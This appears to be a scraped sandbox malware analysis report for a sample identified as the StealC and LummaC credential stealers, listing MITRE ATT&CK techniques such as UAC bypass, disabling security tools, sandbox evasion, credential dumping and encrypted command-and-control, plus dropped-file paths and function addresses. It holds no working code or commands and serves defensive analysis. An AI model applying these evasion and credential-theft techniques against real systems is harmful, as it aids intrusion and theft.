Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report pfY4k1qisn.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe.log

C:\Users\user\AppData\Local\Temp\3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe

C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Windows Analysis Report
pfY4k1qisn.exe

Function 00F52E09 Relevance: 4.6, APIs: 3, Instructions: 104
registryCOMMON

Function 00F44DD2 Relevance: 1.6, APIs: 1, Instructions: 144
libraryCOMMON

Function 00F487AA Relevance: 1.6, APIs: 1, Instructions: 136
fileCOMMON

Function 00F48B4E Relevance: 1.6, APIs: 1, Instructions: 108
fileCOMMON

Function 00F487D8 Relevance: 1.6, APIs: 1, Instructions: 105
fileCOMMON

Function 00F4880C Relevance: 1.6, APIs: 1, Instructions: 96
fileCOMMON

Function 05580D42 Relevance: 1.6, APIs: 1, Instructions: 61
COMMON

Function 05580D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Function 05581510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Function 05581509 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Function 00F48B8E Relevance: 1.6, APIs: 1, Instructions: 52
fileCOMMON

Function 00F48BA9 Relevance: 1.6, APIs: 1, Instructions: 50
fileCOMMON

Function 05581301 Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Function 05581308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre